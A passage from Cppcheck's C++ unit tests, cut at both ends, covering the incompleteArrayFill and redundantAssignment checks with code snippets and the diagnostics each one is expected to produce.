5);\\n\"\n \" memcpy(a, b, 5);\\n\"\n \" memmove(a, b, 5);\\n\"\n \"}\");\n ASSERT_EQUALS(// TODO \"[test.cpp:4] -> [test.cpp:5]: (performance) Buffer 'a' is being written before its old content has been used.\\n\"\n \"[test.cpp:3:5]: (warning, inconclusive) Array 'a' is filled incompletely. Did you forget to multiply the size given to 'memset()' with 'sizeof(*a)'? [incompleteArrayFill]\\n\"\n \"[test.cpp:4:5]: (warning, inconclusive) Array 'a' is filled incompletely. Did you forget to multiply the size given to 'memcpy()' with 'sizeof(*a)'? [incompleteArrayFill]\\n\"\n \"[test.cpp:5:5]: (warning, inconclusive) Array 'a' is filled incompletely. Did you forget to multiply the size given to 'memmove()' with 'sizeof(*a)'? [incompleteArrayFill]\\n\", errout_str());\n\n check(\"int a[5];\\n\"\n \"namespace Z { struct B { int a[5]; } b; }\\n\"\n \"void f() {\\n\"\n \" memset(::a, 123, 5);\\n\"\n \" memset(Z::b.a, 123, 5);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:4:5]: (warning, inconclusive) Array '::a' is filled incompletely. Did you forget to multiply the size given to 'memset()' with 'sizeof(*::a)'? [incompleteArrayFill]\\n\"\n \"[test.cpp:5]: (warning, inconclusive) Array 'Z::b.a' is filled incompletely. Did you forget to multiply the size given to 'memset()' with 'sizeof(*Z::b.a)'?\\n\",\n \"[test.cpp:4:5]: (warning, inconclusive) Array '::a' is filled incompletely. Did you forget to multiply the size given to 'memset()' with 'sizeof(*::a)'? [incompleteArrayFill]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" Foo* a[5];\\n\"\n \" memset(a, 'a', 5);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (warning, inconclusive) Array 'a' is filled incompletely. Did you forget to multiply the size given to 'memset()' with 'sizeof(*a)'? [incompleteArrayFill]\\n\", errout_str());\n\n check(\"class Foo {int a; int b;};\\n\"\n \"void f() {\\n\"\n \" Foo a[5];\\n\"\n \" memset(a, 'a', 5);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (warning, inconclusive) Array 'a' is filled incompletely. Did you forget to multiply the size given to 'memset()' with 'sizeof(*a)'? [incompleteArrayFill]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" Foo a[5];\\n\" // Size of foo is unknown\n \" memset(a, 'a', 5);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" char a[5];\\n\"\n \" memset(a, 'a', 5);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a[5];\\n\"\n \" memset(a+15, 'a', 5);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" bool a[5];\\n\"\n \" memset(a, false, 5);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (portability, inconclusive) Array 'a' might be filled incompletely. Did you forget to multiply the size given to 'memset()' with 'sizeof(*a)'? [incompleteArrayFill]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" const int n = 5;\"\n \" int a[n];\\n\"\n \" memset(a, 0, n);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (warning, inconclusive) Array 'a' is filled incompletely. Did you forget to multiply the size given to 'memset()' with 'sizeof(*a)'? [incompleteArrayFill]\\n\", errout_str());\n }\n\n void redundantVarAssignment() {\n setMultiline();\n\n // Simple tests\n check(\"void f(int i) {\\n\"\n \" i = 1;\\n\"\n \" i = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:7]: style: Variable 'i' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:2:7]: note: i is assigned\\n\"\n \"[test.cpp:3:7]: note: i is overwritten\\n\", errout_str());\n\n // non-local variable => only show warning when inconclusive is used\n check(\"int i;\\n\"\n \"void f() {\\n\"\n \" i = 1;\\n\"\n \" i = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: style: Variable 'i' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:3:7]: note: i is assigned\\n\"\n \"[test.cpp:4:7]: note: i is overwritten\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int i;\\n\"\n \" i = 1;\\n\"\n \" i = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: style: Variable 'i' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:3:7]: note: i is assigned\\n\"\n \"[test.cpp:4:7]: note: i is overwritten\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" static int i;\\n\"\n \" i = 1;\\n\"\n \" i = 1;\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"error\", \"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int i[10];\\n\"\n \" i[2] = 1;\\n\"\n \" i[2] = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: style: Variable 'i[2]' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:3:10]: note: i[2] is assigned\\n\"\n \"[test.cpp:4:10]: note: i[2] is overwritten\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" int i[10];\\n\"\n \" i[x] = 1;\\n\"\n \" x=1;\\n\"\n \" i[x] = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const int x) {\\n\"\n \" int i[10];\\n\"\n \" i[x] = 1;\\n\"\n \" i[x] = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: style: Variable 'i[x]' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:3:10]: note: i[x] is assigned\\n\"\n \"[test.cpp:4:10]: note: i[x] is overwritten\\n\", errout_str());\n\n // Testing different types\n check(\"void f() {\\n\"\n \" Foo& bar = foo();\\n\"\n \" bar = x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" Foo& bar = foo();\\n\"\n \" bar = x;\\n\"\n \" bar = y;\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"error\", \"\", errout_str());\n\n check(\"void f() {\\n\"\n \" Foo& bar = foo();\\n\" // #4425. bar might refer to something global, etc.\n \" bar = y();\\n\"\n \" foo();\\n\"\n \" bar = y();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Tests with function call between assignment\n check(\"void f(int i) {\\n\"\n \" i = 1;\\n\"\n \" bar();\\n\"\n \" i = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: style: Variable 'i' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:2:7]: note: i is assigned\\n\"\n \"[test.cpp:4:7]: note: i is overwritten\\n\", errout_str());\n\n check(\"int i;\\n\"\n \"void f() {\\n\"\n \" i = 1;\\n\"\n \" bar();\\n\" // Global variable might be accessed in bar()\n \" i = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" static int i;\\n\"\n \" i = 1;\\n\"\n \" bar();\\n\" // bar() might call f() recursively. This could be a false positive in more complex examples (when value of i is used somewhere. See #4229)\n \" i = 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int i;\\n\"\n \" i = 1;\\n\"\n \" bar();\\n\"\n \" i = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:7]: style: Variable 'i' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:3:7]: note: i is assigned\\n\"\n \"[test.cpp:5:7]: note: i is overwritten\\n\", errout_str());\n\n check(\"void bar(int i) {}\\n\"\n \"void f(int i) {\\n\"\n \" i = 1;\\n\"\n \" bar(i);\\n\" // Passed as argument\n \" i = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" Foo bar = foo();\\n\"\n \" bar();\\n\" // #5568. operator() called\n \" bar = y();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Branch tests\n check(\"void f(int i) {\\n\"\n \" i = 1;\\n\"\n \" if(x)\\n\"\n \" i = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int i) {\\n\"\n \" if(x)\\n\"\n \" i = 0;\\n\"\n \" i = 1;\\n\"\n \" i = 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:7]: style: Variable 'i' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:4:7]: note: i is assigned\\n\"\n \"[test.cpp:5:7]: note: i is overwritten\\n\", errout_str());\n\n // #4513\n check(\"int x;\\n\"\n \"int g() {\\n\"\n \" return x*x;\\n\"\n \"}\\n\"\n \"void f() {\\n\"\n \" x = 2;\\n\"\n \" x = g();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int g() {\\n\"\n \" return x*x;\\n\"\n \"}\\n\"\n \"void f(int x) {\\n\"\n \" x = 2;\\n\"\n \" x = g();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:7]: style: Variable 'x' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:5:7]: note: x is assigned\\n\"\n \"[test.cpp:6:7]: note: x is overwritten\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" Foo& bar = foo();\\n\"\n \" bar = x;\\n\"\n \" bar = y();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class C {\\n\"\n \" int x;\\n\"\n \" void g() { return x * x; }\\n\"\n \" void f();\\n\"\n \"};\\n\"\n \"\\n\"\n \"void C::f() {\\n\"\n \" x = 2;\\n\"\n \" x = g();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class C {\\n\"\n \" int x;\\n\"\n \" void g() { return x*x; }\\n\"\n \" void f(Foo z);\\n\"\n \"};\\n\"\n \"\\n\"\n \"void C::f(Foo z) {\\n\"\n \" x = 2;\\n\"\n \" x = z.g();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ({ })\n check(\"void f() {\\n\"\n \" int x;\\n\"\n \" x = 321;\\n\"\n \" x = ({ asm(123); })\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // from #3103 (avoid a false negative)\n check(\"int foo(){\\n\"\n \" int x;\\n\"\n \" x = 1;\\n\"\n \" x = 1;\\n\"\n \" return x + 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: style: Variable 'x' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:3:7]: note: x is assigned\\n\"\n \"[test.cpp:4:7]: note: x is overwritten\\n\", errout_str());\n\n // from #3103 (avoid a false positive)\n check(\"int foo(){\\n\"\n \" int x;\\n\"\n \" x = 1;\\n\"\n \" if (y)\\n\" // <-- cppcheck does not know anything about 'y'\n \" x = 2;\\n\"\n \" return x + 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // initialization, assignment with 0\n check(\"void f() {\\n\" // Ticket #4356\n \" int x = 0;\\n\" // <- ignore initialization with 0\n \" x = 3;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" state_t *x = NULL;\\n\"\n \" x = dostuff();\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:12]: style: Variable 'x' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" state_t *x;\\n\"\n \" x = NULL;\\n\"\n \" x = dostuff();\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:12]: style: Variable 'x' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"int foo() {\\n\" // #4420\n \" int x;\\n\"\n \" bar(++x);\\n\"\n \" x = 5;\\n\"\n \" return bar(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // struct member..\n check(\"struct AB { int a; int b; };\\n\"\n \"\\n\"\n \"int f() {\\n\"\n \" struct AB ab;\\n\"\n \" ab.a = 1;\\n\"\n \" ab.a = 2;\\n\"\n \" return ab.a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:10]: style: Variable 'ab.a' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:5:10]: note: ab.a is assigned\\n\"\n \"[test.cpp:6:10]: note: ab.a is overwritten\\n\", errout_str());\n\n check(\"struct AB { int a; int b; };\\n\"\n \"\\n\"\n \"int f() {\\n\"\n \" struct AB ab;\\n\"\n \" ab.a = 1;\\n\"\n \" ab = do_something();\\n\"\n \" return ab.a;\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"error\", \"\", errout_str());\n\n check(\"struct AB { int a; int b; };\\n\"\n \"\\n\"\n \"int f() {\\n\"\n \" struct AB ab;\\n\"\n \" ab.a = 1;\\n\"\n \" do_something(&ab);\\n\"\n \" ab.a = 2;\\n\"\n \" return ab.a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct AB { int a; int b; };\\n\"\n \"\\n\"\n \"int f(DO_SOMETHING do_something) {\\n\"\n \" struct AB ab;\\n\"\n \" ab.a = 1;\\n\"\n \" do_something(&ab);\\n\"\n \" ab.a = 2;\\n\"\n \" return ab.a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct AB { int a; int b; };\\n\"\n \"\\n\"\n \"int f(struct AB *ab) {\\n\"\n \" ab->a = 1;\\n\"\n \" ab->b = 2;\\n\"\n \" ab++;\\n\"\n \" ab->a = 1;\\n\"\n \" ab->b = 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct AB { int a; int b; };\\n\"\n \"\\n\"\n \"int f(struct AB *ab) {\\n\"\n \" ab->a = 1;\\n\"\n \" ab->b = 2;\\n\"\n \" ab = x;\\n\"\n \" ab->a = 1;\\n\"\n \" ab->b = 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(struct AB *ab) {\\n\" // #\n \" ab->data->x = 1;\\n\"\n \" ab = &ab1;\\n\"\n \" ab->data->x = 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5964\n check(\"void func(char *buffer, const char *format, int precision, unsigned value) {\\n\"\n \" (precision < 0) ? sprintf(buffer, format, value) : sprintf(buffer, format, precision, value);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // don't crash\n check(\"struct data {\\n\"\n \" struct { int i; } fc;\\n\"\n \"};\\n\"\n \"struct state {\\n\"\n \" struct data d[123];\\n\"\n \"};\\n\"\n \"void func(struct state *s) {\\n\"\n \" s->foo[s->x++] = 2;\\n\"\n \" s->d[1].fc.i++;\\n\"\n \"}\");\n\n // #6525 - inline assembly\n check(\"void f(int i) {\\n\"\n \" i = 1;\\n\"\n \" asm(\\\"foo\\\");\\n\"\n \" i = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6555\n check(\"void foo() {\\n\"\n \" char *p = 0;\\n\"\n \" try {\\n\"\n \" p = fred();\\n\"\n \" p = wilma();\\n\"\n \" }\\n\"\n \" catch (...) {\\n\"\n \" barney(p);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" char *p = 0;\\n\"\n \" try {\\n\"\n \" p = fred();\\n\"\n \" p = wilma();\\n\"\n \" }\\n\"\n \" catch (...) {\\n\"\n \" barney(x);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: style: The scope of the variable 'p' can be reduced. [variableScope]\\n\"\n \"[test.cpp:2:11]: style: Variable 'p' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\"\n \" char *p = 0;\\n\"\n \" try {\\n\"\n \" if(z) {\\n\"\n \" p = fred();\\n\"\n \" p = wilma();\\n\"\n \" }\\n\"\n \" }\\n\"\n \" catch (...) {\\n\"\n \" barney(p);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Member variable pointers\n check(\"void podMemPtrs() {\\n\"\n \" int POD::*memptr;\\n\"\n \" memptr = &POD::a;\\n\"\n \" memptr = &POD::b;\\n\"\n \" if (memptr)\\n\"\n \" memptr = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:12]: style: Variable 'memptr' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:3:12]: note: memptr is assigned\\n\"\n \"[test.cpp:4:12]: note: memptr is overwritten\\n\", errout_str());\n\n // Pointer function argument (#3857)\n check(\"void f(float * var)\\n\"\n \"{\\n\"\n \" var[0] = 0.2f;\\n\"\n \" var[0] = 0.2f;\\n\" // <-- is initialized twice\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: style: Variable 'var[0]' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:3:10]: note: var[0] is assigned\\n\"\n \"[test.cpp:4:10]: note: var[0] is overwritten\\n\", errout_str());\n\n check(\"void f(float * var)\\n\"\n \"{\\n\"\n \" *var = 0.2f;\\n\"\n \" *var = 0.2f;\\n\" // <-- is initialized twice\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:8]: style: Variable '*var' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:3:8]: note: *var is assigned\\n\"\n \"[test.cpp:4:8]: note: *var is overwritten\\n\", errout_str());\n\n // Volatile variables\n check(\"void f() {\\n\"\n \" volatile char *reg = (volatile char *)0x12345;\\n\"\n \" *reg = 12;\\n\"\n \" *reg = 34;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::map& m, int key, int value) {\\n\" // #6379\n \" m[key] = value;\\n\"\n \" m[key] = value;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: style: Variable 'm[key]' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:2:12]: note: m[key] is assigned\\n\"\n \"[test.cpp:3:12]: note: m[key] is overwritten\\n\",\n errout_str());\n }\n\n void redundantVarAssignment_trivial() {\n check(\"void f() {\\n\"\n \" int a = 0;\\n\"\n \" a = 4;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a;\\n\"\n \" a = 0;\\n\"\n \" a = 4;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" unsigned a;\\n\"\n \" a = 0u;\\n\"\n \" a = 2u;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" void* a;\\n\"\n \" a = (void*)0;\\n\"\n \" a = p;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:10]: (style) Variable 'a' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" void* a;\\n\"\n \" a = (void*)0U;\\n\"\n \" a = p;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:10]: (style) Variable 'a' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n }\n\n void redundantVarAssignment_struct() {\n check(\"struct foo {\\n\"\n \" int a,b;\\n\"\n \"};\\n\"\n \"\\n\"\n \"int main() {\\n\"\n \" struct foo x;\\n\"\n \" x.a = _mm_set1_ps(1.0);\\n\"\n \" x.a = _mm_set1_ps(2.0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:7] -> [test.cpp:8:7]: (style) Variable 'x.a' is reassigned a value before the old one has been used. [redundantAssignment]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" struct AB ab;\\n\"\n \" ab.x = 23;\\n\"\n \" ab.y = 41;\\n\"\n \" ab.x = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:5:8]: (style) Variable 'ab.x' is reassigned a value before the old one has been used. [redundantAssignment]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" struct AB ab = {0};\\n\"\n \" ab = foo();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantVarAssignment_union() {\n // Ticket #5115 \"redundantAssignment when using a union\"\n check(\"void main(void)\\n\"\n \"{\\n\"\n \" short lTotal = 0;\\n\"\n \" union\\n\"\n \" {\\n\"\n \" short l1;\\n\"\n \" struct\\n\"\n \" {\\n\"\n \" unsigned char b1;\\n\"\n \" unsigned char b2;\\n\"\n \" } b;\\n\"\n \" } u;\\n\"\n \" u.l1 = 1;\\n\"\n \" lTotal += u.b.b1;\\n\"\n \" u.l1 = 2;\\n\" //Should not show RedundantAssignment\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // Ticket #5115 \"redundantAssignment when using a union\"\n check(\"void main(void)\\n\"\n \"{\\n\"\n \" short lTotal = 0;\\n\"\n \" union\\n\"\n \" {\\n\"\n \" short l1;\\n\"\n \" struct\\n\"\n \" {\\n\"\n \" unsigned char b1;\\n\"\n \" unsigned char b2;\\n\"\n \" } b;\\n\"\n \" } u;\\n\"\n \" u.l1 = 1;\\n\"\n \" u.l1 = 2;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:13:10] -> [test.cpp:14:10]: (style) Variable 'u.l1' is reassigned a value before the old one has been used. [redundantAssignment]\\n\", errout_str());\n\n // Ticket #10093 \"redundantAssignment when using a union\"\n check(\"typedef union fixed32_union {\\n\"\n \" struct {\\n\"\n \" unsigned32 abcd;\\n\"\n \" } u32;\\n\"\n \" struct {\\n\"\n \" unsigned16 ab;\\n\"\n \" unsigned16 cd;\\n\"\n \" } u16;\"\n \" struct {\\n\"\n \" unsigned8 a;\\n\"\n \" unsigned8 b;\\n\"\n \" unsigned8 c;\\n\"\n \" unsigned8 d;\\n\"\n \" } b;\\n\"\n \"} fixed32;\\n\"\n \"void func1(void) {\\n\"\n \" fixed32 m;\\n\"\n \" m.u16.ab = 47;\\n\"\n \" m.u16.cd = 0;\\n\"\n \" m.u16.ab = m.u32.abcd / 53;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // Ticket #10093 \"redundantAssignment when using a union\"\n check(\"typedef union{\\n\"\n \" char as_char[4];\\n\"\n \" int as_int;\\n\"\n \"} union_t;\\n\"\n \"void fn(char *data, int len) {\\n\"\n \" int i;\\n\"\n \" for (i = 0; i < len; i++)\\n\"\n \" data[i] = 'a';\\n\"\n \"}\\n\"\n \"int main(int argc, char *argv[]) {\\n\"\n \" union_t u;\\n\"\n \" u.as_int = 42;\\n\"\n \" fn(&u.as_char[0], 4);\\n\"\n \" u.as_int = 0;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // Ticket #5115 \"redundantAssignment when using a union\"\n check(\"void foo(char *ptr) {\\n\"\n \" union {\\n\"\n \" char * s8;\\n\"\n \" unsigned long long u64;\\n\"\n \" } addr;\\n\"\n \" addr.s8 = ptr;\\n\"\n \" addr.u64 += 8;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #12895\n \" int x, y;\\n\"\n \"};\\n\"\n \"union U {\\n\"\n \" S* s;\\n\"\n \"};\\n\"\n \"void f(const U& Src, const U& Dst) {\\n\"\n \" Dst.s->x = Src.s->x;\\n\"\n \" Dst.s->y = Src.s->y;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantVarAssignment_7133() {\n // #7133\n check(\"sal_Int32 impl_Export() {\\n\"\n \" try {\\n\"\n \" try {\\n\"\n \" uno::Sequence< uno::Any > aArgs(2);\\n\"\n \" beans::NamedValue aValue;\\n\"\n \" aValue.Name = \\\"DocumentHandler\\\";\\n\"\n \" aValue.Value <<= xDocHandler;\\n\"\n \" aArgs[0] <<= aValue;\\n\"\n \" aValue.Name = \\\"Model\\\";\\n\"\n \" aValue.Value <<= xDocumentComp;\\n\"\n \" aArgs[1] <<= aValue;\\n\"\n \" }\\n\"\n \" catch (const uno::Exception&) {\\n\"\n \" }\\n\"\n \" }\\n\"\n \" catch (const uno::Exception&) {\\n\"\n \" }\\n\"\n \"}\", true, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void ConvertBitmapData(sal_uInt16 nDestBits) {\\n\"\n \" BitmapBuffer aSrcBuf;\\n\"\n \" aSrcBuf.mnBitCount = nSrcBits;\\n\"\n \" BitmapBuffer aDstBuf;\\n\"\n \" aSrcBuf.mnBitCount = nDestBits;\\n\"\n \" bConverted = ::ImplFastBitmapConversion( aDstBuf, aSrcBuf, aTwoRects );\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"[test.c:3:24] -> [test.c:5:24]: (style) Variable 'aSrcBuf.mnBitCount' is reassigned a value before the old one has been used. [redundantAssignment]\\n\", errout_str());\n check(\"void ConvertBitmapData(sal_uInt16 nDestBits) {\\n\"\n \" BitmapBuffer aSrcBuf;\\n\"\n \" aSrcBuf.mnBitCount = nSrcBits;\\n\"\n \" BitmapBuffer aDstBuf;\\n\"\n \" aSrcBuf.mnBitCount = nDestBits;\\n\"\n \" bConverted = ::ImplFastBitmapConversion( aDstBuf, aSrcBuf, aTwoRects );\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:24] -> [test.cpp:5:24]: (style) Variable 'aSrcBuf.mnBitCount' is reassigned a value before the old one has been used. [redundantAssignment]\\n\",\n errout_str());\n\n check(\"class C { void operator=(int x); };\\n\" // #8368 - assignment operator might have side effects => inconclusive\n \"void f() {\\n\"\n \" C c;\\n\"\n \" c = x;\\n\"\n \" c = x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7] -> [test.cpp:5:7]: (style, inconclusive) Variable 'c' is reassigned a value before the old one has been used if variable is no semaphore variable. [redundantAssignment]\\n\", errout_str());\n }\n\n void redundantVarAssignment_stackoverflow() {\n check(\"typedef struct message_node {\\n\"\n \" char code;\\n\"\n \" size_t size;\\n\"\n \" struct message_node *next, *prev;\\n\"\n \"} *message_list;\\n\"\n \"static message_list remove_message_from_list(message_list m) {\\n\"\n \" m->prev->next = m->next;\\n\"\n \" m->next->prev = m->prev;\\n\"\n \" return m->next;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantVarAssignment_lambda() {\n // #7152\n check(\"int foo() {\\n\"\n \" int x = 0, y = 0;\\n\"\n \" auto f = [&]() { if (x < 5) ++y; };\\n\"\n \" x = 2;\\n\"\n \" f();\\n\"\n \" x = 6;\\n\"\n \" f();\\n\"\n \" return y;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10228\n check(\"std::tuple g();\\n\"\n \"void h(int);\\n\"\n \"void f() {\\n\"\n \" auto [a, b] = g();\\n\"\n \" auto l = [a = a]() { h(i); };\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantVarAssignment_loop() {\n check(\"void f() {\\n\"\n \" char buf[10];\\n\"\n \" int i;\\n\"\n \" for (i = 0; i < 4; i++)\\n\"\n \" buf[i] = 131;\\n\"\n \" buf[i] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void bar() {\\n\" // #9262 do-while with break\n \" int x = 0;\\n\"\n \" x = 432;\\n\"\n \" do {\\n\"\n \" if (foo()) break;\\n\"\n \" x = 1;\\n\"\n \" } while (false);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int num) {\\n\" // #9420 FP\n \" int a = num;\\n\"\n \" for (int b = 0; b < num; a = b++)\\n\"\n \" dostuff(a);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int num) {\\n\" // #9420 FN\n \" int a = num;\\n\"\n \" for (int b = 0; b < num; a = b++);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"error\", \"\", errout_str());\n }\n\n void redundantVarAssignment_after_switch() {\n check(\"void f(int x) {\\n\" // #7907\n \" int ret;\\n\"\n \" switch (x) {\\n\"\n \" case 123:\\n\"\n \" ret = 1;\\n\" // redundant assignment\n \" break;\\n\"\n \" }\\n\"\n \" ret = 3;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:13] -> [test.cpp:8:9]: (style) Variable 'ret' is reassigned a value before the old one has been used. [redundantAssignment]\\n\", errout_str());\n }\n\n void redundantVarAssignment_pointer() {\n check(\"void f(int *ptr) {\\n\"\n \" int *x = ptr + 1;\\n\"\n \" *x = 23;\\n\"\n \" foo(ptr);\\n\"\n \" *x = 32;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8997\n check(\"void f() {\\n\"\n \" char x[2];\\n\"\n \" char* p = x;\\n\"\n \" *p = 1;\\n\"\n \" p += 1;\\n\"\n \" *p = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantVarAssignment_pointer_parameter() {\n 